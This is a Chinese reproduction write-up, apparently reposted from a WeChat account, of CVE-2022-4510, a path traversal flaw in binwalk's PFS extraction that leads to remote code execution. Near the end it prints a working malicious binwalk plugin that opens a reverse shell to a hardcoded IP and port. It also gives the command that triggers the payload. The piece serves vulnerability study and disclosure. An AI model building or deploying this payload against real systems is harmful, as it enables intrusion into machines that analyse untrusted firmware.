漏洞介绍
❝
binwalk是一款常用的二进制文件提取工具,在固件分析和CTF Misc中使用广泛。在binwalk的2.1.2b-2.3.2版本中,存在一个路径穿越漏洞,允许攻击者构造恶意文件,当使用binwalk的-e选项对该恶意文件进行自动提取时,将触发漏洞,将攻击者构造的恶意文件中内嵌的文件写入提取目录之外的路径。这还可能导致远程代码执行。
-
kali linux自带binwalk工具 -
CVE 编号:CVE-2022-4510 -
漏洞分类:RCE -
CVSS评分:7.8 HIGH
漏洞描述
在从2.1.2b版到2.3.3版的ReFirm Labs binwalk中发现了一个路径遍历漏洞。通过手工创建一个恶意的PFS文件系统文件,当binwalk在提取模式(-e选项)下运行时,攻击者可以让binwalk的PFS提取程序在任意位置提取文件。远程代码执行可以通过构建PFS文件系统来实现,该文件系统在解压缩时会将恶意的binwalk模块解压缩到文件夹中。配置/binwalk/插件。此漏洞与程序文件src/binwalk/plugins/unpfs.py相关。此问题影响从2.1.2b到2.3.3的binwalk。
-
影响版本:Binwalk v2.1.2b-2.3.3
漏洞分析:
这个漏洞源于binwalk解析PFS文件时的防路径穿越代码存在问题。它使用类似下面的代码来检测是否存在路径穿越:
outfile_path = os.path.join(提取路径, PFS文件内嵌的某个文件的文件名)
if
not outfile_path.startswith(提取路径):
# 若是则认为存在路径穿越
# ...
假如攻击者把PFS文件内嵌的某个文件的名字设置成"../test.txt",那么outfile_path为"提取路径/../test.txt",第2行的if语句永远成立,故这个检测是无效的。
此外,binwalk的插件存放路径下的python文件将被当成binwalk的插件,在binwalk每次执行的时候自动调用。所以,假如利用路径穿越漏洞将一个特制python脚本写入binwalk的插件存放路径下,即可实现RCE。
漏洞复现
环境准备
推荐kali(自带binwalk)
ubuntu(需要自行下载影响版本)
将POC.zip(后台回复23
0621
获取)下载后放在文件夹, 可以看到是.pfs的文件
使用二进制方式打开:
执行命令:
构造RCE的POC,在解压后的文件中保持文件头和路径,后面加上下面的脚本代码,并且把长度改一下,然后保存成一个压缩包malicious.zip。
提示:在 s.connect中写入要连接的ip地址和监听端口,
import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((
"192.168.132.131"
,9999))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn(
"sh"
)
binwalk -Me malicious.zip 然后就可以 RCE。
下载连接
参考:
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/ https://mp.weixin.qq.com/s/gZp87CAeuM1eC91kA8Cqeg
原文始发于微信公众号(信安404):【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论